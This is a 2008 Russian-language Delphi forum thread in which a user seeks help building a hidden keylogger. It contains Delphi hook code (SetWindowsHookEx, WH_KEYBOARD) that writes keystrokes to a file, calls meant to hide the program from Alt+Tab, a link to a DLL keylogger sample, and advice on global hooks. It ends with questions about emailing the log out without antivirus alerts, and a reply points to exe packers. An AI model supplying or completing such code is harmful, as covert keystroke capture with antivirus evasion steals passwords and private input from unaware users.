Delphi.Запомнить нажатые клавиши.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:40:30.853333
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Захотел я сделать прогу,чтоб в текстовый файл сохраняла нажатые клавиши,когда работает.Сама форма свернута/скрыта,все дела-эт легко.Юзаю WinAPI функции (у меня получалось ими для прикола клавиатуру отрубать) Но почему оно работает как обычный OnKeyPress(т.е. токо на форме)? Вот текст: var Form1: TForm1; Dum: integer=0; f:textfile; OKH:HHook=0; function KBH(co:integer; w: word ;lp:longint):longint; stdcall; begin if co<0 then begin Result:=callnexthookex(OKH,co,w,lp); end else begin AssignFile(f,'C:\try.txt'); //создан заранее Append(f); write(f,chr(w)); close(f); //потом мона улучшить,если заработает Result:=1; end; end; procedure TForm1.FormCreate(Sender: TObject); begin Form1.Align:=alClient; // иначе не пашет почему?! SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dum,0); SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dum,0); OKH:=SetWindowsHookEx(WH_KEYBOARD,@KBH,HInstance,0); //вот эта весчь вроде главное end;
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:44:57.233333
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
Попробуй что-то типа if GetAsyncKeyState(ord('W'))<>0 then Form1.Caption := 'W' а если на Api пишеш…избавляйся от формы…:)
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:48:05.486666
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
А вот кстати,как без формы? Ведь если в консоли-она 1 раз выполняет и закрывается(
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:51:31.770000
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
написал "if GetAsyncKeyState(ord('W'))<>0 then…" для каждой клавиши и поставил в цикл
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:51:35.206666
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
написал "if GetAsyncKeyState(ord('W'))<>0 then…" для каждой клавиши и поставил в цикл
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:52:53.286666
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
У меня есть хороший пример кейлога через DLL….могу выложить
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-24 00:12:54.020000
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Было б неплохо.А GetAsyncKeyState (не говоря о практичности)-не пашет.Токо в таймере если+цикл+может лагать.Но хоть что то.спс.
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-24 00:19:17.963333
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
_http://stalker4311.jino-net.ru/KH.rar думаю разберёшся…у меня не получается сделать приложение это без формы…я его переделываю из "TEST HOOK"
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-29 10:14:50.160000
|
|
|
boombox.exe
Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
|
На будущее - если хочешь глобально отлавливать нажатия клавишь(то есть не только на своей форме) надо использовать и подключать длл, иначе не выйдет… SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dum,0); SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dum,0); - пишешь кейлог как понял, зачем тогда пытаешся отключить Alt+Tab and Ctrl+Alt+Del?
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-29 17:22:58.863333
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Это да.Мне токо про Alt+Tab нада,чтоб не видно было прогу там)).А вот в C++ мона всё осуществить так: ….HINSTANCE hLib=LoadLibrary("KBDHook.dll"); (void*)pKH=GetProcAddress(hLib,"KeyBoardHook"); HKH=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)(pKH),hLib,0); …. Это оно? А в Delphi то же самое или там своё всё?
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 20:19:30.763333
|
|
|
boombox.exe
Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
|
Я толком не понял что тебе надо? Загрузить функцию с длл? Если да тогда при создании длл ты создаешь нужные функции, а те которые надо будет экспортировать опишешь в разделе "exports". Потом уже в приложении пишешь функцию которую надо вызвать в конце добавляешь external "имя длл". Пример: function SetHook(const Enabled: Boolean): Hwnd; stdcall; external 'keyhook.dll';
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 20:59:53.636666
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
ОК уже,разобралсо сразу и как с *.dll (где готовый код лежал) сладить,и даже как самому сделать(то что и хотел).Теперь из С++ в Delphi переделываю.Токо не догнал:если токо WinApi(SetWindowsHookEx,callnexthookex) юзать,оно будет все клавиши "ловить"? quote:
..если хочешь глобально отлавливать нажатия клавишь(то есть не только на своей форме).. Вот это вот и насторожило.Сообщения же системные?
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 21:40:28.716666
|
|
|
alexbozhko
Сообщений: 1024
Оценки: 0
Присоединился: 2005-11-24 13:35:34
|
quote:
ORIGINAL: Genco ОК уже,разобралсо сразу и как с *.dll (где готовый код лежал) сладить,и даже как самому сделать(то что и хотел).Теперь из С++ в Delphi переделываю.Токо не догнал:если токо WinApi(SetWindowsHookEx,callnexthookex) юзать,оно будет все клавиши "ловить"? Нет. Reset ловить не будет :)
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 22:09:15.486666
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Ну вот и я гляжу-вроде пашет кое-как.Теперь спокоен.А мона как-нить письмо послать,чтоб это был НЕ компонент от которого файл будет 550Кб и (!!) чтоб антивирусы не ругались? MAPI не предлагать,лаги+палево. Или мне топик новый лучше уже создать?
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-06 00:40:25.050000
|
|
|
boombox.exe
Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
|
Хитер ты жук :). Значит компонент не использовать, и на Апи видно писать слишком сложно… Тут решение простое: - хочешь проще для мозгов(юзай компоненты); - хочешь размер уменьшить(пиши на Апи); P.S. Есть программы для сжатия ехе файлов.
|
|
|
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-06 01:31:43.390000
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
На апи сделал,но как то очень уж криво(знаю,сам виноват):((. Попробую переделать и побольше постараюсь.А в принципе компоненты-не сильно плохо,их и юзал,а спросил для общего развития).Но про апи всё равно ещё подумаю.
|
|
|
|
|